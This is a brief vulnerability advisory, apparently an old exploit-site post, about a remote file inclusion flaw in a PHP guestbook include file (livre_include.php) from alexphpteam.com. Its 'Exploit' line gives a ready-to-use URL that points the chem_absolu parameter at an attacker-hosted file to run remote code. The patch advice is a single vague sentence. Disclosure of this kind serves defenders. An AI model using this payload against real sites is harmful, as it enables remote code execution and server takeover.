Informations : 

°°°°°°°°°°°°°° 

Website : http://www.alexphpteam.com 

Version : all

Problem : Include file 







PHP Code/Location : 

°°°°°°°°°°°°°°°°°°° 

./include/livre_include.php



------------------------------------------------------------------ 

if (!$no_connect).... some include() functions

------------------------------------------------------------------ 



Exploit : 

°°°°°°°°° 

http://[target]/include/livre_include.php?no_connect=lol&chem_absolu =http://[attacker]/file.ext%3f 





Patch : 

°°°°°°° 

You must to fix the variable $chem_absolu.





Nourredine Himeur aka LostNoobs



"I'm looking for a job in France"

you can see my curriculum vitae 

on www.security-challenge.com/delires/ 



#s-c on irc.fr.worldnet.net

www.security-challenge.com 

www.hacklink.net 

www.opensavoir.com